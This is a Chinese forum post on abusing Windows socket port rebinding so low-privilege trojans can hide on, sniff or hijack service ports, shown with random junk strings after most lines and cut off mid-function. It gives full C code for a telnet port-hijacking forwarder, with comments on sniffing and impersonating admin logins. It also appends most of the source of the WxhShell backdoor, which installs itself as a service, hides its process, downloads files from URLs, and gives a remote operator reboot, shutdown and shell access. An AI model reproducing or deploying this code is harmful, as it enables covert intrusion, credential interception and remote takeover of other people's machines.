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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `B1r+uTP~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *!mT#Vm^  
QB3vp4pBg@  
  saddr.sin_family = AF_INET; =x_~7 Xc{  
rzl0*CR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]H%S GQPn  
 /y2)<{{I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,RA;X  
Y! 8 I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3izGMH_`  
sN"JVJXi  
  这意味着什么?意味着可以进行如下的攻击: F=T};b  
seNJ6p=`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @^O+ulLJ,]  
}KEL{VUX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2cnyq$4k  
j'\!p):H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f*(W%#*|  
S)n+E\c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9Q*T'+V  
a;GuFnfn,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VM.4w.})_E  
k'(d$;Jgr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &"_5?7_N  
\vKK q/f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 " A4.2  
F]fBFDk  
  #include .m;5s45O{  
  #include fV>12ici  
  #include Z?@oe-mz  
  #include    w$`[C+L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^9jrI  
  int main() 3RbPc8($Y  
  { neLQ>WT L  
  WORD wVersionRequested; jV)4+D  
  DWORD ret; yJ0q)x sS  
  WSADATA wsaData; J*%XtRio  
  BOOL val; OV.f+_LS  
  SOCKADDR_IN saddr; WP}NHz4H  
  SOCKADDR_IN scaddr; $2><4~T;|A  
  int err; MkNPC  
  SOCKET s; >>>&{>}!  
  SOCKET sc; 9 SBVp 6'  
  int caddsize; Rr%CP[bH  
  HANDLE mt; [$x&J6jF.  
  DWORD tid;   ^!FLi7X  
  wVersionRequested = MAKEWORD( 2, 2 ); 8AGP*"gI  
  err = WSAStartup( wVersionRequested, &wsaData ); Y|3n^%I  
  if ( err != 0 ) { w4<n=k  
  printf("error!WSAStartup failed!\n"); >Q-"-X1  
  return -1;  l,lfkm  
  } Szb#:C  
  saddr.sin_family = AF_INET; h!zev~u1)`  
   SNUq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IEP^u `}  
zP`&X:8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I@M3u/7  
  saddr.sin_port = htons(23); ;WP%)Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8*7,qX  
  { 57S!X|CE  
  printf("error!socket failed!\n"); kGkfLY6B  
  return -1; 810pJ  
  } - ^f>=xa4J  
  val = TRUE; |Nf90.dL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a3wk#mH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K|ZB!oq  
  { |ctcY*+  
  printf("error!setsockopt failed!\n"); zF7*T?3b"  
  return -1; @dHQ}Ni  
  } ]Jum(1Bo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >"/Sa_w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [" PRxl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YD@n8?~$$  
b" PRa|]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7`pK=E}+  
  { 4\pUA4  
  ret=GetLastError(); ^77Q4"{W  
  printf("error!bind failed!\n"); voitdz  
  return -1; L"(k;Mfe  
  } J+:gIszsWT  
  listen(s,2); >s;>"]  
  while(1) ?E6 C|A$I  
  { Yp@i{$IUW  
  caddsize = sizeof(scaddr); `iQ9 9  
  //接受连接请求 ] v8.ym  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~2L]K4Z^  
  if(sc!=INVALID_SOCKET) = ;z42oS  
  { p|&9#?t4A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Pe`eF(J  
  if(mt==NULL) M\!z='Fi  
  { ibqJ'@{=e  
  printf("Thread Creat Failed!\n"); 1$toowb"Zy  
  break; $%"?0S  
  } 2t3DQ  
  } (kFg2kG  
  CloseHandle(mt); C_rA'Hy  
  } z:JQ3D7/we  
  closesocket(s); J;#7dRW{  
  WSACleanup(); n%&+yg   
  return 0; ^)%TQ.  
  }   6xT" j)h  
  DWORD WINAPI ClientThread(LPVOID lpParam) g?1! /+  
  { wyC1M  
  SOCKET ss = (SOCKET)lpParam; ?rSm6V  
  SOCKET sc; 4.&hV?Kxz  
  unsigned char buf[4096]; C'S&  
  SOCKADDR_IN saddr; DRy,n)U&  
  long num; x:0nK,  
  DWORD val; e:T8={LU2W  
  DWORD ret; CGCI3Z'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L^%jR=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NU/:jr.W#  
  saddr.sin_family = AF_INET; ,5Nf9z!hk(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L; (J6p]h  
  saddr.sin_port = htons(23); T*bBw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _I<LB0kgf.  
  { Ef"M e(  
  printf("error!socket failed!\n"); /s|4aro  
  return -1; LR:meCOI  
  } &Z%|H>+;T  
  val = 100; o4Hp|iK&0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Uf`~0=w  
  { Z%9_vpWc  
  ret = GetLastError(); ]R%+  
  return -1; Re]7G.y  
  } y=q iGi[Nc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dOx0'q"Z  
  { /^9KZj  
  ret = GetLastError(); ?_BK(kL_  
  return -1; yRtxh_wr9  
  } 6Sr}I,DG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T^1]|P  
  { 1J?x2  
  printf("error!socket connect failed!\n"); 90[?)s  
  closesocket(sc); & G8tb>q<V  
  closesocket(ss); t(Sjo8, b  
  return -1; =1e>$E#  
  } Y-y<gW  
  while(1) uNXKUJ V0  
  { R\ZyS )~l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _I A{I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gzd)7np B2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W"&Y7("y  
  num = recv(ss,buf,4096,0); [ m#|[%  
  if(num>0) vq;_x  
  send(sc,buf,num,0); Izr_]%  
  else if(num==0) $*N)\>~X  
  break; IWs)n1D*]  
  num = recv(sc,buf,4096,0); ;Q8LA",5d  
  if(num>0) FNgC TO%  
  send(ss,buf,num,0); Puodsd  
  else if(num==0) @p$$BUb  
  break; uYy&<_r  
  } nAY'1!Oi  
  closesocket(ss); O$, bNu/g  
  closesocket(sc); rJws#^ ]  
  return 0 ; (sN;B)  
  } 'rSP@  
IuN:*P  
0.kQqy~5  
==========================================================  _YPu  
FAbl5VW'  
下边附上一个代码,,WXhSHELL L.R4 iN  
R0DWjN$j  
========================================================== &vHfuM`  
$CP_oEb  
#include "stdafx.h" Kjfpq!NYE  
BE LxaV,  
#include <stdio.h> SM1[)jZ-  
#include <string.h> 9n!IdqKN  
#include <windows.h> C[IY9s:Pf  
#include <winsock2.h> SQ0t28N3h  
#include <winsvc.h> #dEMjD  
#include <urlmon.h> &* 1iW(x  
GAY f.L"  
#pragma comment (lib, "Ws2_32.lib") de$0DfK  
#pragma comment (lib, "urlmon.lib") WIkr0k  
wN^$8m5\T^  
#define MAX_USER   100 // 最大客户端连接数 V+- ]txu|  
#define BUF_SOCK   200 // sock buffer ON q=bI*  
#define KEY_BUFF   255 // 输入 buffer eR*y<K(d  
Aat-938FP6  
#define REBOOT     0   // 重启 #s]'2O  
#define SHUTDOWN   1   // 关机 Z`{ZV5  
%K7wScz7  
#define DEF_PORT   5000 // 监听端口 o'auCa,N  
4 /Q4sE~<  
#define REG_LEN     16   // 注册表键长度 Z&[_8Y5j  
#define SVC_LEN     80   // NT服务名长度 ;f l3'.S[  
2uy<wJE >  
// 从dll定义API 4o``t]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DF`?D +  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); | l|7[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }[c ,/NH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zd-qQ.j0  
;[R#:Rk  
// wxhshell配置信息 [Z$E^QAP  
struct WSCFG { \\{+t<?J  
  int ws_port;         // 监听端口 2SHS!6:Rl  
  char ws_passstr[REG_LEN]; // 口令 5ON\Ve_H  
  int ws_autoins;       // 安装标记, 1=yes 0=no "GY/2;  
  char ws_regname[REG_LEN]; // 注册表键名 j8 |N;;MN  
  char ws_svcname[REG_LEN]; // 服务名 {IR-g,B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qqn9nO9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q{E44 eQ7F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ObIL  w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w/UZ6fu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J_ y+.p- 5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (//f"c]/  
Gr}lr gPS  
}; 3sF^6<E  
hCFgZiH2  
// default Wxhshell configuration [8$K i$;  
struct WSCFG wscfg={DEF_PORT, yK"T5^o  
    "xuhuanlingzhe", M# a1ev  
    1, IwJ4K+  
    "Wxhshell", y3{ F\K  
    "Wxhshell", x!R pRq9  
            "WxhShell Service",  SE;Yb'  
    "Wrsky Windows CmdShell Service", I?Fv!5p  
    "Please Input Your Password: ", yG..B  
  1, V_p[mSKJv  
  "http://www.wrsky.com/wxhshell.exe", d]!`II  
  "Wxhshell.exe" 5?M d  
    }; 'vc>uY  
io^ L[  
// 消息定义模块 'j27.Ry.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H\!p%Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m.EIMuj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dw"{inMf  
char *msg_ws_ext="\n\rExit."; zvAUF8'_  
char *msg_ws_end="\n\rQuit."; SG@-b(  
char *msg_ws_boot="\n\rReboot..."; 5zk^zn)  
char *msg_ws_poff="\n\rShutdown..."; H4{CiZ  
char *msg_ws_down="\n\rSave to "; 'En|-M5  
" s3eO  
char *msg_ws_err="\n\rErr!"; *uG!U%jY)  
char *msg_ws_ok="\n\rOK!"; (#?k|e"Y"`  
X+LG Z4]D  
char ExeFile[MAX_PATH]; K#_x.: <J  
int nUser = 0; ecIZ +G)k  
HANDLE handles[MAX_USER]; Oiz@tEp=_  
int OsIsNt; 6L}}3b h  
Z?"f#  
SERVICE_STATUS       serviceStatus; <)am]+Lswy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W0_ pO  
7ea<2va,  
// 函数声明 \:vHB!2E  
int Install(void); 6! .nj3$*  
int Uninstall(void); HJ^SqSm  
int DownloadFile(char *sURL, SOCKET wsh); >A_:q yGk  
int Boot(int flag); TVs#,  
void HideProc(void); Al-;-t#Dc  
int GetOsVer(void); YRRsbm{  
int Wxhshell(SOCKET wsl); o +KDK{MD  
void TalkWithClient(void *cs); #|R#/Yc@Bv  
int CmdShell(SOCKET sock); 3 jR I@  
int StartFromService(void); K0xka[x=(  
int StartWxhshell(LPSTR lpCmdLine); <g3)!VR^q  
C(@#I7G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r=74 'g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rO3.%B}  
-{O>'9'1A  
// 数据结构和表定义 JVxGS{Z  
SERVICE_TABLE_ENTRY DispatchTable[] = +0Z,#b  
{ J,SP1-L  
{wscfg.ws_svcname, NTServiceMain}, t]14bf$*Q  
{NULL, NULL} IF~E;  
}; /; {E}`  
sDXD>upO  
// 自我安装 vnr{Ekg  
int Install(void) 9Q /t+  
{ qr<RMs  
  char svExeFile[MAX_PATH]; ::`#qa4!  
  HKEY key; $LkTu  
  strcpy(svExeFile,ExeFile); K*id 1YY  
|^k&6QO5  
// 如果是win9x系统,修改注册表设为自启动 4-voR5Fd  
if(!OsIsNt) { }"x#uG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G~ mLc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %<]4]h  
  RegCloseKey(key); 7H!/et?S,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PXrv2q[5?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /9@[gv A  
  RegCloseKey(key); !> 2kH  
  return 0; E>I\m!ue  
    } 0* ^>/*  
  } EJ@&vuDd$  
} O3KTKL]  
else { 9Rd& Jq^  
UI%Z`.&  
// 如果是NT以上系统,安装为系统服务 $s]vZ(H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *'to#_n&W  
if (schSCManager!=0) D`NPU  
{ A2 9R5  
  SC_HANDLE schService = CreateService 7U647G(Sg  
  ( OUFx M  
  schSCManager, +S6(Fvp  
  wscfg.ws_svcname, ;lP/hG;`  
  wscfg.ws_svcdisp, bGtS! 'I  
  SERVICE_ALL_ACCESS, X 7R&>Pf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *YO^+]nmY  
  SERVICE_AUTO_START, sD ,=_q@  
  SERVICE_ERROR_NORMAL, gzd<D}2F~  
  svExeFile, Kg6[  
  NULL, <{P`A%g@  
  NULL, f1w_Cl  
  NULL, f>hA+  
  NULL, PK).)5sW  
  NULL d+o.J",E  
  ); G0~6A@>  
  if (schService!=0) /N9ct4 {^  
  { [JVEKc ym  
  CloseServiceHandle(schService); !*e1F9k  
  CloseServiceHandle(schSCManager); qd<-{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lvd es.0|  
  strcat(svExeFile,wscfg.ws_svcname); cNl NJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cw3j&k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W7#dc89}  
  RegCloseKey(key); 8vqx}2  
  return 0; 4&kC8 [r  
    } C C B'  
  } :Xi&H.k)p  
  CloseServiceHandle(schSCManager); Ms 3Sri  
} u*=8s5Q[  
}  <BiSx  
V| &->9"  
return 1; A9_} RJ9  
} !9t,#?!  
`n?Rxhkwp  
// 自我卸载 dt||nF  
int Uninstall(void) hN^,'O  
{ .]w=+~h  
  HKEY key; [9^lAhX  
+ l hJ8&  
if(!OsIsNt) { lG5KZ[/Or  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Kbf]"4q  
  RegDeleteValue(key,wscfg.ws_regname); 8+@j %l j  
  RegCloseKey(key); = 6'Fm$R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6,cJ3~!48  
  RegDeleteValue(key,wscfg.ws_regname); |/;;uK,y  
  RegCloseKey(key); p1N3AhXY  
  return 0; UQ#t &  
  } VVJIJ9L&C  
} E?- ~*T  
} 3O*^[$vM  
else { &u2H^ j  
x n=#4:f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T5Iz{Ha  
if (schSCManager!=0) p1UYkmx[  
{ UvR.?js(O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sBk|KG  
  if (schService!=0) 8b!xMFF"  
  { AO238RC!:  
  if(DeleteService(schService)!=0) { N*+L'bO  
  CloseServiceHandle(schService); OcLahz6  
  CloseServiceHandle(schSCManager); )G),iy  
  return 0; F0kdwN4;  
  } Z4oD6k5oc  
  CloseServiceHandle(schService); +rJDDIb  
  } 7M)<Sv  
  CloseServiceHandle(schSCManager); E#R1  
} o3$dl`'  
} I0*N "07n  
ik#ti=.  
return 1; H'+3<t>  
} !dq$qUl/  
*ze,X~8-  
// 从指定url下载文件 #mYe@[p@  
int DownloadFile(char *sURL, SOCKET wsh) UD=[::##  
{ qP0UcG  
  HRESULT hr; 22'Ra[  
char seps[]= "/"; C8W_f( i~  
char *token; xXlx}C  
char *file; `S+n,,l  
char myURL[MAX_PATH]; iJH?Z,Tjf  
char myFILE[MAX_PATH]; g/frg(KF  
~O~iP8T  
strcpy(myURL,sURL); E W`3$J;  
  token=strtok(myURL,seps); } m"':f  
  while(token!=NULL) .k$Yleg  
  { xR8y"CpE  
    file=token; ~ mzX1[  
  token=strtok(NULL,seps); =h xyR;  
  } #jJ0Mxg  
ZUD{V  
GetCurrentDirectory(MAX_PATH,myFILE); Oyb0t|do+  
strcat(myFILE, "\\"); =ld!=II  
strcat(myFILE, file); $_3 )m  
  send(wsh,myFILE,strlen(myFILE),0); 6"?#E[ #[  
send(wsh,"...",3,0); !jf!\Uu[U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ep4?;Qmho  
  if(hr==S_OK) SAiaC _  
return 0; Vqcw2  
else * mH&Gn1  
return 1; r KYQ 8T  
&@FufpPw/  
} lL'Bop@  
<Sr:pm  
// 系统电源模块 B}nT>Ub  
int Boot(int flag) &dPUd ~&EL  
{ LP !d|X  
  HANDLE hToken; - (7oFOtg  
  TOKEN_PRIVILEGES tkp; m%'T90mi  
:|8!w  
  if(OsIsNt) { 3xN_z?Rg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !1%Sf.`!_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I5)$M{#a  
    tkp.PrivilegeCount = 1; $&!|G-0'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <*+[E!oi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U o aWI2  
if(flag==REBOOT) { -BSO$'{7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6v74mIRn'?  
  return 0; L)8%*X  
} *2fJdY  
else { @-Y,9mM   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rn`DUYg  
  return 0; 6J_$dzw  
} 'Fc$?$c\  
  } ~T/tk?:8Vi  
  else { i9V,  
if(flag==REBOOT) { jcjl q-x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4;@L#Pzt  
  return 0; ;.<HpDfG_  
} ?o`:V|<v  
else { 0x<G\ l4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .|Yn[?(  
  return 0; _k;HhLj`  
} sCmN|Q  
} m=Gb<)Y  
u?rX:KkS  
return 1; 8F'm#0  
} \j-:5M#m  
ur7S K(#  
// win9x进程隐藏模块 So75h*e  
void HideProc(void) ZD7qw*3+  
{ ;.rY`<|  
5y] %Cu1.u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I[?bM-  
  if ( hKernel != NULL ) j,SZJ{ebXg  
  { V6h8+|hK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +WKN&@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KfPgj  
    FreeLibrary(hKernel); y&eU\>M  
  } UR S=1+  
rQ6>*0xL_  
return; BjfTt:kY  
} |7Ab_  
9]lyV  
// 获取操作系统版本 A_e5Vb ,u.  
int GetOsVer(void) EcSu[b  
{ 3xKgj5M  
  OSVERSIONINFO winfo; [0]J 2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'm"Ez'sS  
  GetVersionEx(&winfo); a#x@ e?GvI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $ER9u2  
  return 1; F-M)6&T  
  else 'H4?V  
  return 0; B2KBJ4rI[1  
} FFe{=H,=  
J\p-5[E  
// 客户端句柄模块 B/^o$i  
int Wxhshell(SOCKET wsl) H0yM`7[y  
{ e 'F:LMX  
  SOCKET wsh; sY?wQ:  
  struct sockaddr_in client; Z c#Jb  
  DWORD myID; M _lLP8W}  
JiuA"ks)  
  while(nUser<MAX_USER) U.b|3E/^  
{ (<@`MPI\@  
  int nSize=sizeof(client); iel@"E 4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 '(m"c_  
  if(wsh==INVALID_SOCKET) return 1; "DH>4Q] d  
1'iQlnMO@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g6S-vSX,  
if(handles[nUser]==0) }R YPr  
  closesocket(wsh); -}( o+!nl  
else DRTT3;,N  
  nUser++; CC'N"Xb  
  } N3a ]!4Y\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T|j=,2_  
=vriraV"  
  return 0; :S7[<SwL  
} 57]La^#  
X?JtEQ~>  
// 关闭 socket p,uM)LD  
void CloseIt(SOCKET wsh) Q`4I a<5B  
{ T &bB8tQk  
closesocket(wsh); a<>cbP  
nUser--; l<ZHS'-;8  
ExitThread(0); 2R^Eea  
} s8qpK; O  
Fpwhyls  
// 客户端请求句柄 rY1jC\  
void TalkWithClient(void *cs) @xso{$z?j  
{ ,^<39ng  
^gNbcWc7CU  
  SOCKET wsh=(SOCKET)cs; ~?)y'?  
  char pwd[SVC_LEN]; AMO{ee7Po  
  char cmd[KEY_BUFF]; v6E5#pse8  
char chr[1]; \q24E3zS&  
int i,j; ae2SU4Jx  
|z&7KoYK'  
  while (nUser < MAX_USER) { ER@RWV 2  
*P5/S8c  
if(wscfg.ws_passstr) { {a9.0N:4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ahu{A4Bw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CyB4apJ  
  //ZeroMemory(pwd,KEY_BUFF); ,OP\^  
      i=0; 4!-R&<TLve  
  while(i<SVC_LEN) { Z@$'fX?~9  
`Hv"^o  
  // 设置超时 i }Zz[b  
  fd_set FdRead; !YlEXaS  
  struct timeval TimeOut; x")Bmw$  
  FD_ZERO(&FdRead); /OMgj7olD  
  FD_SET(wsh,&FdRead); e eyZ $n  
  TimeOut.tv_sec=8; /[ Rp~YzW  
  TimeOut.tv_usec=0; gp H@F X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H`Zg-j`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bsd~_y}8  
%.Kr`#lCr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]@}hyM[D;  
  pwd=chr[0]; TC@F*B;  
  if(chr[0]==0xd || chr[0]==0xa) { !1]jk(Z  
  pwd=0; s$0dLEa9  
  break; X &G]ci  
  } JRE\R&>g  
  i++; nr( C*E  
    } -~H "zu`  
ymnK`/J!Q  
  // 如果是非法用户,关闭 socket m`Z.xIA7;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ycvgF6Me<  
} BGOS(  
:Dtm+EQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &NbSG+t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8= 82x  
=*>.z@WQ  
while(1) { eu$"GbqY  
2 '$nz  
  ZeroMemory(cmd,KEY_BUFF); D`.\c#;cN  
qw)Ou]L=  
      // 自动支持客户端 telnet标准   $"}*#<Z  
  j=0; IF<T{/MA  
  while(j<KEY_BUFF) { |%3>i"Y@AK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4$ah~E>,t  
  cmd[j]=chr[0]; YdB/s1|G  
  if(chr[0]==0xa || chr[0]==0xd) { MI.OOoP3a  
  cmd[j]=0; U_E t  
  break; i3Xo6!Q  
  } b.}J'?yLm  
  j++; Eq=JmO'gHs  
    } Bi"cWO  
e ^`La*n  
  // 下载文件 h7m$P^=U  
  if(strstr(cmd,"http://")) { &Wk:>9]Jrb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kKDf%=  
  if(DownloadFile(cmd,wsh)) 9\kEyb$F=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 04}c_XFFE  
  else Y;dqrA>@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]~ S zb  
  } nf:wJ-;*  
  else { rg]z  
!.4q{YWcYk  
    switch(cmd[0]) { J@IKXhb7_  
  *xKy^f  
  // 帮助 R+/kx#^  
  case '?': { V{\1qg{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T$;BZ=_  
    break; M~Er6Zg  
  } _=cuOo"!  
  // 安装 Z]5xy_La  
  case 'i': { `>lY$EBG@[  
    if(Install()) wNNg"}&P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 77]lp mC  
    else tZ*>S]qD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lACS^(  
    break; kn`O3cW/  
    } {7 ](-  
  // 卸载 g"g3|$#Ej|  
  case 'r': { ] {0OPU  
    if(Uninstall()) N&(MM.\`^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H6KBXMYO  
    else %.fwNS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >rYMOC~  
    break; f Avh!g  
    }  _BCq9/  
  // 显示 wxhshell 所在路径 y"K[#&,0  
  case 'p': { KR%NgV+}!0  
    char svExeFile[MAX_PATH]; c s:E^  
    strcpy(svExeFile,"\n\r"); G1 I<B  
      strcat(svExeFile,ExeFile); e{^lD.E  
        send(wsh,svExeFile,strlen(svExeFile),0); bJ eF1LjS  
    break; Sg\+al7  
    } SxkY ;^-U  
  // 重启 &7{yk$]*  
  case 'b': { TpHzf3.I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p>+Q6o9O  
    if(Boot(REBOOT)) B@' OUcUR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [3x*47o"z  
    else { !?K#f?x<?  
    closesocket(wsh); !|mzu1S  
    ExitThread(0); }"/>,  
    } 0^F!-b^z  
    break; e Dpt1  
    } H#T&7X_<  
  // 关机 WP^wNi ~>  
  case 'd': { v[jg|s&6"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3wPUP+)c7  
